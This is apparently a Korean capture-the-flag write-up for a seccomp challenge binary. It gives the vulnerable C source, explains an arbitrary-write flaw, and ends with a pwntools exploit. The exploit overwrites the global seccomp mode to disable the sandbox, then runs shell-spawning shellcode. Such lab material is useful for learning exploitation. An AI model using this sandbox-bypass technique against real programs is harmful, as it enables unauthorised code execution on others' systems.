1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
code description
전역변수 mode를 SECCOMP_MODE_STRICT 로 설정(bss영역)
initialize(), alarm_handler() 함수 생략
syscall_filter()를 보면
BPF 매크로들을 통해서 아키텍처 검사와,
시스템 콜 검사를 한다.
하지만 struct sock_filter filter[] 부분을 보면, 딱히 SYSCALL을 DENY하거나, ALLOW하는 것이 없다.
대신 밑에 prctl에서 mode, 즉 STRICT 모드(read, write, sigreturn, exit)가 허용하는 것 이외의 시스템 콜들은 막아놨다.
main()에서
1을 누르면, shellcode에 입력 가능하고(기회는 한번뿐)
2를 누르면 입력한 shellcode를 실행한다.
3을 누르면 addr 주소에 값을 넣고, addr 주소 안의 값이 가리키는 주소 안에 값을 넣는다.
즉 addr -> hello 값 넣음, hello -> world 값 넣음
2.2 file
2.3 checksec
3. Design
3.1 취약점
코드 보면, addr에 주소 넣고, 그 주소가 가리키는 곳에 값을 넣을 수 있는 취약점이 있다.
그리고, STRICT 모드를 FILTER 모드로 바꾸면 현재 FILTER가 되는 값이 하나도 설정이 안되어 있으므로 바꾸기만 한다면 execve도 가능하다.
3.2 how?
mode는 원래 SECCOMP_MODE_STRICT 로 설정되어 있다.
SECCOMP_MODE_STRICT 의 모드 값은 1이다.
mode는 bss 영역에 있으므로 쓰기가 가능하다.
mode 값을 SECCOMP_MODE_FILTER 로, 즉 모드 값 2로 바꿔주면 된다.
그리고 이제 shellcode에 shellcraft.sh()이나 shell을 실행시키는 어떠한 명령어를 넣고 실행을 하면 끝이다.
4. Exploit
4.1 exploit code
from pwn import *
context.arch = 'x86_64'
p = process("./seccomp")
mode = 0x602090
shellcode = asm(shellcraft.sh())
def read_shellcode(hishell):
p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", hishell)
def excute_shell():
p.sendlineafter("> ", "2")
def write_address(addr, value):
p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", addr)
p.sendlineafter("value: ", value)
write_address(str(mode), "2")
pause()
read_shellcode(shellcode)
pause()
excute_shell()
p.interactive()
4.2 result
여기서 flag는 본인이 로컬에서 만든 flag값이다.
shell을 성공적으로 실행 시켰다.
Reference